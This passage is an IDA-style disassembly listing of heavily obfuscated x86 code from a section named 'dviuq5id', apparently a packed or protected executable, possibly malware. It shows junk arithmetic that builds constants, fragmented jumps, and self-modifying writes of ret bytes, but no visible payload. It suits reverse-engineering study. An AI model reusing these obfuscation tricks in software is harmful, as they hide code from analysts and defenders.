; FUNCTION CHUNK AT 00454E22 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045716B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0045976C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A690 SIZE 0000000E BYTES

		push	ebp
		mov	ebp, esp

loc_4427B1:				; CODE XREF: sub_44084F+7472j
		call	sub_454267

loc_4427B6:				; CODE XREF: sub_439AA6+13BD1j
		jmp	loc_442E25
sub_4427AE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4427BB:				; CODE XREF: dviuq5id:0043A4FAj
		jmp	loc_44CC3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451EEC

loc_4427C0:				; CODE XREF: sub_44B223+8j
					; sub_451EEC:loc_44F636j
		mov	al, [ebp-9]
		shl	eax, cl
		mov	cl, [ebp-0Bh]
; END OF FUNCTION CHUNK	FOR sub_451EEC
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_4427C8:				; CODE XREF: sub_4525D0:loc_450171j
		xor	edx, edx
		jmp	loc_44EF1E
; END OF FUNCTION CHUNK	FOR sub_4525D0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_288. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C7A1

loc_4427D0:				; CODE XREF: sub_44C7A1+1Ej
		jmp	nullsub_473
; END OF FUNCTION CHUNK	FOR sub_44C7A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D83D

loc_4427D5:				; CODE XREF: sub_43D83D+BFC8j
		jmp	loc_455D46
; END OF FUNCTION CHUNK	FOR sub_43D83D

; =============== S U B	R O U T	I N E =======================================



sub_4427DA	proc near		; DATA XREF: sub_44A4E3:loc_444F05o
		xchg	esi, [esp+0]
		ror	eax, 15h
		mov	ds:dword_457D3C, eax
		retn
sub_4427DA	endp

; ---------------------------------------------------------------------------

loc_4427E7:				; CODE XREF: dviuq5id:00448C1Ej
		jmp	loc_44D5C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A4E3

loc_4427EC:				; CODE XREF: sub_44A4E3-431Ej
		rol	eax, 15h
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_44A4E3
; ---------------------------------------------------------------------------

loc_4427F1:				; CODE XREF: dviuq5id:00451455j
					; dviuq5id:00458DFAj
		jmp	loc_43F462
; ---------------------------------------------------------------------------

loc_4427F6:				; CODE XREF: dviuq5id:00457C3Cj
		jmp	loc_457370
; ---------------------------------------------------------------------------

loc_4427FB:				; CODE XREF: dviuq5id:loc_453831j
		push	ebp
		jmp	loc_44B4E0
; ---------------------------------------------------------------------------

loc_442801:				; DATA XREF: sub_452D9B:loc_44F1C0o
		mov	eax, [eax]
		call	sub_43D160
		jmp	loc_4550B0
; ---------------------------------------------------------------------------

loc_44280D:				; DATA XREF: sub_43EF0E+5o
		jo	loc_455615
		rol	ebx, 1Fh
		add	edx, 45FA0625h
		push	offset sub_45945A
		jmp	loc_44FD8D
; ---------------------------------------------------------------------------

loc_442826:				; CODE XREF: dviuq5id:0044FADBj
		jl	loc_44EDF6
; START	OF FUNCTION CHUNK FOR sub_4597EF

loc_44282C:				; CODE XREF: sub_4597EF-D38j
		jmp	loc_45A0D7
; END OF FUNCTION CHUNK	FOR sub_4597EF
; ---------------------------------------------------------------------------
		mov	esi, [ebp+0]
		jmp	loc_44EDEA
; ---------------------------------------------------------------------------

loc_442839:				; DATA XREF: sub_44D7C7-F1DBo
		pop	edi
		rol	eax, 17h
		add	eax, 0C40299E4h
		rol	eax, 18h
		push	ecx
		push	2E67C232h
		pop	ecx
		jmp	loc_44B89A

; =============== S U B	R O U T	I N E =======================================



sub_442852	proc near		; CODE XREF: sub_444466:loc_442AC7j

; FUNCTION CHUNK AT 0043907F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A467 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00442C74 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044BF88 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DBF7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00452816 SIZE 00000013 BYTES

		add	esp, 0FFFFFFE4h
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		xor	eax, eax
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jmp	loc_452816
sub_442852	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_442869:				; CODE XREF: sub_44B99E:loc_44E520j
		and	ebp, 2277B647h
		jnz	loc_45032D
		jmp	loc_444333
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------

loc_44287A:				; CODE XREF: dviuq5id:00439ACEj
		mov	eax, 1171F650h
		call	sub_449AA3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_116. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_442885:				; CODE XREF: sub_44B624:loc_447F95j
		cdq
		jmp	loc_44C38E
; END OF FUNCTION CHUNK	FOR sub_44B624
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440AB3

loc_44288B:				; CODE XREF: sub_440AB3:loc_453C4Aj
		pop	ecx
		shl	eax, 7
		jmp	loc_458049
; END OF FUNCTION CHUNK	FOR sub_440AB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_442894:				; CODE XREF: sub_43CB4C:loc_449D02j
		mov	eax, [ebp+8]
		test	byte ptr [eax-10h], 38h
		jmp	loc_459923
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBD5

loc_4428A0:				; CODE XREF: sub_43CBD5:loc_44DF20j
		xor	edx, 0D3C2FEEAh

loc_4428A6:				; CODE XREF: dviuq5id:loc_442E5Cj
		jmp	loc_43C124
; END OF FUNCTION CHUNK	FOR sub_43CBD5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_328. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A5A8

loc_4428AC:				; CODE XREF: sub_44A5A8+821Dj
		jmp	loc_456BDD
; END OF FUNCTION CHUNK	FOR sub_44A5A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A15A

loc_4428B1:				; CODE XREF: sub_44A15A:loc_43DA7Cj
					; sub_44A15A-214Cj
		push	92B81FBEh
		pop	eax
		xor	eax, 0FC776FDFh
		sub	eax, 0E85506C7h
		jmp	loc_44EB65
; END OF FUNCTION CHUNK	FOR sub_44A15A
; ---------------------------------------------------------------------------

loc_4428C8:				; CODE XREF: dviuq5id:loc_451315j
		mov	ebp, 28575BB6h
		test	ebp, 572D520Ch
		jmp	loc_44BE1D
; ---------------------------------------------------------------------------
		or	ebp, edi
		jmp	sub_4450EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454AAA

loc_4428DF:				; CODE XREF: sub_454AAA:loc_454AADj
		push	ecx
		push	esi
		call	sub_452D9B

loc_4428E6:				; CODE XREF: sub_44F0C2-132D5j
		jmp	nullsub_207
; END OF FUNCTION CHUNK	FOR sub_454AAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456B31

loc_4428EB:				; CODE XREF: sub_456B31:loc_44461Aj
		sub	eax, 379CF3E9h
		jmp	sub_457C88
; END OF FUNCTION CHUNK	FOR sub_456B31
; ---------------------------------------------------------------------------

loc_4428F6:				; CODE XREF: dviuq5id:0044411Dj
		jz	loc_4424F6
		jmp	loc_451E79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_442901:				; CODE XREF: sub_44E1C0+6A60j
		js	loc_44EEDC
		not	esi
		add	edx, ebx
		pushf
		add	esi, ebx
		jmp	loc_4556DA
; END OF FUNCTION CHUNK	FOR sub_44E1C0

; =============== S U B	R O U T	I N E =======================================



sub_442913	proc near		; DATA XREF: sub_451180-4DE1o

; FUNCTION CHUNK AT 0043A566 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043E440 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440658 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004431A2 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004489F9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044A3F8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0045127E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00458559 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A343 SIZE 0000001D BYTES

		push	edx
		push	0DFEC9523h
		pop	edx
		rol	edx, 15h
		cmp	edx, 49050C29h
		jmp	loc_440658
sub_442913	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebx
		push	532B48E0h
		pop	ebx
		sub	ebx, 1C8BADE7h
		xor	ebx, 0F965C0A0h
		or	ebx, 94B0F3CFh
		add	ebx, 20496913h
		xchg	ebx, [esp]
		jmp	sub_43938B
; ---------------------------------------------------------------------------

loc_44294F:				; CODE XREF: dviuq5id:0044D3A9j
		rol	ebx, 2
		or	ebx, 77E3DAD4h
		rol	ebx, 1Dh
		call	sub_4559A0
; START	OF FUNCTION CHUNK FOR sub_4489BA

loc_442960:				; CODE XREF: sub_4489BA+8j
		jmp	loc_4500B1
; END OF FUNCTION CHUNK	FOR sub_4489BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CB39

loc_442965:				; CODE XREF: sub_44CB39+6E39j
		call	sub_453642
		mov	ds:off_41D150, eax
		lea	eax, loc_43FD31
		mov	byte ptr [eax],	0C3h
		jmp	loc_447EAA
; END OF FUNCTION CHUNK	FOR sub_44CB39

; =============== S U B	R O U T	I N E =======================================



sub_44297E	proc near		; CODE XREF: sub_406214+77p
					; sub_4062C4+52p ...

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00440416 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004417AD SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00442523 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044298D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00444ED3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004482D9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449044 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044961A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449FD2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044B2DF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044BE9B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044D115 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044D22C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044D3AE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044FD3B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00450D9A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004510F8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453523 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00459275 SIZE 00000011 BYTES

		call	sub_44BB2E

loc_442983:				; CODE XREF: sub_43FA59+122A1j
		jmp	loc_444ED3
sub_44297E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_442988:				; CODE XREF: dviuq5id:0044E51Aj
		jmp	loc_453BB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44297E

loc_44298D:				; CODE XREF: sub_44297E:loc_44D3AEj
		xor	edx, ecx
		jmp	sub_4574FD
; END OF FUNCTION CHUNK	FOR sub_44297E

; =============== S U B	R O U T	I N E =======================================



sub_442994	proc near		; CODE XREF: dviuq5id:00441495p
					; dviuq5id:00459F44j

; FUNCTION CHUNK AT 0044A3DC SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	byte ptr [eax],	0C3h
		jmp	loc_44A3DC
sub_442994	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4429A0	proc near		; CODE XREF: sub_418D42+31Ep
					; sub_4429A0+5j
					; DATA XREF: ...
		call	sub_45061D
		jmp	ds:off_41D070
sub_4429A0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_4429AB:				; CODE XREF: sub_43EB11+1938Bj
		jmp	sub_45A04B
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------

loc_4429B0:				; CODE XREF: dviuq5id:0045792Cj
		jmp	loc_4570D5
; ---------------------------------------------------------------------------

loc_4429B5:				; DATA XREF: sub_448E86+8o
		pop	ecx
		lea	eax, sub_441C84
		mov	byte ptr [eax],	0C3h
		jmp	loc_441FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441C84

loc_4429C4:				; CODE XREF: sub_441C84+1j
		mov	eax, [esp+0]
		push	ebx
		mov	ebx, edx
		jmp	loc_445CF2
; END OF FUNCTION CHUNK	FOR sub_441C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_4429CF:				; CODE XREF: sub_4427AE+4FCj
		jge	loc_4410C2
		jle	loc_43BE33
		test	edx, 0D13E4A78h
		jmp	loc_4410B9
; END OF FUNCTION CHUNK	FOR sub_4427AE
; ---------------------------------------------------------------------------
		ror	ebp, 9
		popf
		jmp	sub_451E99
; ---------------------------------------------------------------------------

loc_4429EF:				; CODE XREF: dviuq5id:0043F98Fj
					; dviuq5id:loc_45545Dj
		or	edi, 0A3856B83h
		add	edi, 18B4494Fh
		xchg	edi, [esp]
		jmp	loc_4507F3
; ---------------------------------------------------------------------------

loc_442A03:				; DATA XREF: sub_441B17+11803o
		xchg	edi, [esp]
		call	sub_43D7C1
		push	2D120EF5h
		pop	eax
		and	eax, 0F266F0AFh
		jns	loc_4541F7
		cdq
		adc	ebx, edi
		jmp	loc_4541F7
; ---------------------------------------------------------------------------

loc_442A25:				; CODE XREF: dviuq5id:00452BAAj
		jg	loc_43C112
; START	OF FUNCTION CHUNK FOR sub_454267

loc_442A2B:				; CODE XREF: sub_454267:loc_45432Fj
		add	ecx, 54472F6Eh
		xchg	ecx, [esp+0]
		jmp	sub_442503
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------

loc_442A39:				; DATA XREF: sub_43AB42+Do
		xchg	ebx, [esp]
		push	edx
		push	25953499h
		pop	edx
		jmp	loc_456E40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E491

loc_442A48:				; CODE XREF: sub_44E491:loc_43DC19j
		push	edx
		call	sub_43B3A0
		push	5E300FDFh
		pop	eax
		sub	eax, 46F67795h
		jmp	loc_4515CE
; END OF FUNCTION CHUNK	FOR sub_44E491
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F76

loc_442A5F:				; CODE XREF: sub_441F76:loc_4571C2j
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jle	loc_449056
		mov	eax, [ebp-4]
		jmp	loc_44E59F
; END OF FUNCTION CHUNK	FOR sub_441F76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4557A6

loc_442A74:				; CODE XREF: sub_4557A6:loc_43B5DCj
		jz	loc_454286
		jmp	loc_455BA5
; END OF FUNCTION CHUNK	FOR sub_4557A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DD6F

loc_442A7F:				; CODE XREF: sub_43DD6F:loc_43EED2j
		ror	eax, 10h
		mov	ds:dword_441E7C, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_43DD6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E421

loc_442A89:				; CODE XREF: sub_43E421+1B2A9j
		jmp	loc_43EC8E
; END OF FUNCTION CHUNK	FOR sub_43E421
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448B4C

loc_442A8E:				; CODE XREF: sub_448B4C+C60Bj
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_448B4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_442A93:				; CODE XREF: sub_459385-EADDj
		jmp	loc_43A75E
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DD6F

loc_442A98:				; CODE XREF: sub_455981-19351j
					; sub_43DD6F+11B91j
		rol	eax, 10h
		push	eax
		jmp	loc_43B910
; END OF FUNCTION CHUNK	FOR sub_43DD6F

; =============== S U B	R O U T	I N E =======================================



sub_442AA1	proc near		; CODE XREF: dviuq5id:0044E101j
					; sub_43CBD5:loc_450D40j ...
		xchg	edx, [esp+0]
		pop	edx
		mov	[ebp-0Ch], eax
		jmp	loc_456DE5
sub_442AA1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450B01

loc_442AAD:				; CODE XREF: sub_450B01:loc_449E43j
		cmp	dword ptr [ebp-1Ch], 66h
		jnz	loc_453027
		mov	eax, 6
		sub	eax, [ebp-0Ch]
		mov	[ebp-0Ch], eax
		jmp	loc_456DE5
; END OF FUNCTION CHUNK	FOR sub_450B01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444466

loc_442AC7:				; CODE XREF: sub_444466+3j
		jno	sub_442852
		add	esp, 0FFFFFFE4h
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		xor	eax, eax

loc_442AD8:				; CODE XREF: sub_43F4F8+3C7j
		jmp	loc_448841
; END OF FUNCTION CHUNK	FOR sub_444466
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FBEA

loc_442ADD:				; CODE XREF: sub_43FBEA:loc_44913Ej
		pop	ebx
		and	ebx, 7CA47739h
		rol	ebx, 1
		add	ebx, 4FFC75B5h
		xchg	ebx, [esp+8+var_8]
		jmp	loc_447878
; END OF FUNCTION CHUNK	FOR sub_43FBEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4402E1

loc_442AF4:				; CODE XREF: sub_4402E1:loc_45763Ej
		sub	eax, 0E2E0DD45h
		xor	eax, 7174FE2Fh
		push	offset sub_4539D1
		jmp	nullsub_285
; END OF FUNCTION CHUNK	FOR sub_4402E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FD8E

loc_442B0A:				; CODE XREF: sub_44FD8E-7C74j
		add	ebx, 95AE3DB4h
		mov	[ebx], eax
		pop	ebx
		pushf
		push	0E139923Bh
		jmp	loc_439D9E
; END OF FUNCTION CHUNK	FOR sub_44FD8E
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_44150B
		jmp	loc_442662
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9A9

loc_442B2B:				; CODE XREF: sub_43C9A9+13633j
		mov	edx, [esi]

loc_442B2D:				; CODE XREF: sub_43C9A9:loc_44D291j
		push	809FF5E0h
		pop	eax
		rol	eax, 0Dh
		xor	eax, 0B2A276E6h

loc_442B3C:				; CODE XREF: sub_43BD72:loc_44F855j
		rol	eax, 0Eh
		xor	eax, 78915D16h
		push	offset sub_445817
		jmp	nullsub_88
; END OF FUNCTION CHUNK	FOR sub_43C9A9

; =============== S U B	R O U T	I N E =======================================



sub_442B4F	proc near		; DATA XREF: dviuq5id:0043FD6Co

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004438B7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00448C51 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454F80 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0045765F SIZE 00000005 BYTES

		mov	edx, 710DA469h
		push	edi
		push	454323FAh
		pop	edi
		sub	edi, 2D04B6C9h
		or	edi, 0C2D6462Bh
		test	edi, 4
		jmp	loc_448C51
sub_442B4F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451B18

loc_442B72:				; CODE XREF: sub_451B18-737Fj
		add	ecx, 0D0F47EE4h
		mov	[ecx], eax
		pop	ecx
; END OF FUNCTION CHUNK	FOR sub_451B18
; START	OF FUNCTION CHUNK FOR sub_443ECE

loc_442B7B:				; CODE XREF: sub_443ECE-4F4Aj
					; sub_443ECE:loc_457FABj
		js	loc_43A8B7
		ror	eax, 8
		call	sub_44097E

loc_442B89:				; CODE XREF: dviuq5id:00455F1Dj
		jmp	loc_445D9A
; END OF FUNCTION CHUNK	FOR sub_443ECE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_304. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E6A7

loc_442B8F:				; CODE XREF: sub_43E6A7+16A95j
		jmp	loc_43A136
; END OF FUNCTION CHUNK	FOR sub_43E6A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_442B94:				; CODE XREF: sub_44EAC4+56A2j
		jmp	loc_4546EF
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_442B99:				; CODE XREF: sub_446682-91CEj
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------

loc_442B9E:				; CODE XREF: dviuq5id:0044946Cj
		mov	[ecx], eax
		pop	ecx
		lea	eax, loc_44A9E1
		call	sub_44A839

; =============== S U B	R O U T	I N E =======================================



sub_442BAC	proc near		; CODE XREF: sub_43FDFB:loc_43ED6Bp
					; dviuq5id:0044EF18j
		xchg	ecx, [esp+0]
		pop	ecx
		rol	eax, 5
		push	eax
		call	sub_44E3BA
		retn
sub_442BAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_442BBA	proc near		; CODE XREF: sub_441DDA-2BDCp
					; dviuq5id:loc_444E79p	...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439501 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043C107 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043C2BD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004499FA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00450E07 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004519D2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457697 SIZE 00000016 BYTES

		push	ecx
		jmp	loc_43C107
sub_442BBA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_442BC0:				; CODE XREF: sub_454094+AB4j
		jo	loc_4597C9

loc_442BC6:				; CODE XREF: sub_454094:loc_457A21j
		call	nullsub_6
		retn
; END OF FUNCTION CHUNK	FOR sub_454094
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_442BCD:				; CODE XREF: dviuq5id:00456E3Bj
		jmp	sub_45A04B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_442BD2:				; CODE XREF: sub_454094+2A10j
		call	sub_43938B
		test	al, al
		jz	loc_43C7D6
		jmp	loc_43BEFE
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F10

loc_442BE4:				; CODE XREF: sub_441F10:loc_444F40j
		jz	loc_456C2C
		jmp	loc_4451F2
; END OF FUNCTION CHUNK	FOR sub_441F10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_442BEF:				; CODE XREF: sub_459385:loc_45679Ej
		sub	ebx, edx
		and	ebp, eax
		jge	loc_44F35D
		jmp	loc_448E5F
; END OF FUNCTION CHUNK	FOR sub_459385

; =============== S U B	R O U T	I N E =======================================



sub_442BFE	proc near		; CODE XREF: dviuq5id:00445A89j
					; sub_44EA28+3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439B1D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043A538 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043B18F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BAA6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C5EA SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043ED01 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043FBB8 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043FDB4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004413AD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044357B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004441F6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044604A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044784D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004480E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004487E9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00449218 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B3D3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045385B SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0045434A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004558CE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00455DA7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004560BF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00456506 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00459146 SIZE 0000000B BYTES

		xchg	edi, [esp+4+var_4]
		pop	edi

loc_442C02:				; CODE XREF: dviuq5id:0043A4C7j
		xchg	ebx, [esp+0]
		mov	edi, eax
		jmp	loc_4413AD
sub_442BFE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448B3E

loc_442C0C:				; CODE XREF: sub_448B3E:loc_440F4Bj
		pop	ecx
		rol	ecx, 0Dh
		add	ecx, 32D2219Ch
		xchg	ecx, [esp-4+arg_0]
		lea	eax, [ebp-64h]
		push	eax
		push	400000h
		mov	eax, [ebp-10h]
		jmp	loc_43E56C
; END OF FUNCTION CHUNK	FOR sub_448B3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_442C2A:				; CODE XREF: sub_44460F:loc_44DEE1j
		mov	eax, [eax+18h]
		dec	eax
		push	ebx
		push	3CD1C3DFh
		pop	ebx
		jmp	loc_4449E0
; END OF FUNCTION CHUNK	FOR sub_44460F

; =============== S U B	R O U T	I N E =======================================



sub_442C3A	proc near		; DATA XREF: sub_439C5D+6o
		mov	esp, ebp
		xchg	eax, [esp+0]
		push	eax
		pop	ebp
		jmp	loc_44A4B5
sub_442C3A	endp

; ---------------------------------------------------------------------------

locret_442C46:				; CODE XREF: dviuq5id:0043B68Cj
		retn

; =============== S U B	R O U T	I N E =======================================



sub_442C47	proc near		; CODE XREF: sub_44F787-15794p
					; dviuq5id:0045172Dj
		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [ebp-14h]
		mov	eax, [eax+60h]
sub_442C47	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43F1D6

loc_442C51:				; CODE XREF: sub_43F1D6:loc_445D47j
		add	eax, [ebp-4]
		jmp	loc_451C3E
; END OF FUNCTION CHUNK	FOR sub_43F1D6

; =============== S U B	R O U T	I N E =======================================



sub_442C59	proc near		; CODE XREF: dviuq5id:00443DA6j
					; sub_442E4F+95A7p
		xchg	edx, [esp+0]
		pop	edx
		mov	byte ptr [eax],	0C3h
		jmp	loc_449F09
sub_442C59	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_442C65:				; CODE XREF: sub_439013:loc_449F09j
		call	sub_43A739

loc_442C6A:				; CODE XREF: sub_443173+B352j
		jmp	loc_43CF7E
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D181

loc_442C6F:				; CODE XREF: sub_43D181+11j
		jmp	loc_45175C
; END OF FUNCTION CHUNK	FOR sub_43D181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442852

loc_442C74:				; CODE XREF: sub_442852:loc_44BF88j
		add	eax, [ebp-4]
		add	eax, 18h
		mov	[ebp-10h], eax
; END OF FUNCTION CHUNK	FOR sub_442852
; START	OF FUNCTION CHUNK FOR sub_444466

loc_442C7D:				; CODE XREF: sub_444466-61E3j
		mov	eax, [ebp+var_10]
		mov	eax, [eax+60h]
		jmp	loc_44369B
; END OF FUNCTION CHUNK	FOR sub_444466
; ---------------------------------------------------------------------------
		add	edi, ebp
		not	eax
		jmp	sub_447EE3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A59

loc_442C92:				; CODE XREF: sub_445A59+135Ej
		jmp	loc_43FEF1
; END OF FUNCTION CHUNK	FOR sub_445A59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

